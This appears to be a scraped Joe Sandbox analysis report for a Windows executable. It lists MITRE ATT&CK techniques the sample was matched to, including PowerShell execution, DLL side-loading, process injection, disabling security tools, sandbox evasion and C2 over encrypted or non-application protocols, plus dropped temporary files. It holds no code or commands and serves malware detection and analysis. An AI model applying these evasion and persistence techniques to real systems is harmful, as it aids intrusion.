Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 5f4984a3137b11c059240616d6abb9d29ea956ee197aff211e710a273a54d49b
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 2DE08632B00118978B089599D4104D9F7A5DFCC220F04847AD90AA7341DA726916C691

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report eXIHsSYhOX.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_03uyovdk.glj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_211rfoh2.2ko.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ajxmuk0.clq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hb1ucjxk.aao.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hnt2pvd0.5yr.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ib4p4fjj.1te.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o3yj2mbk.pfj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ti4na4p3.3ju.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tosx40sc.2rg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uy3eb0vs.4im.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wtgqv1wj.3ya.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxfav3lk.q1y.ps1

C:\Users\user\AppData\Local\Temp\is-14VP5.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-FHHU1.tmp\_isetup\_setup64.tmp

Windows Analysis Report
eXIHsSYhOX.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre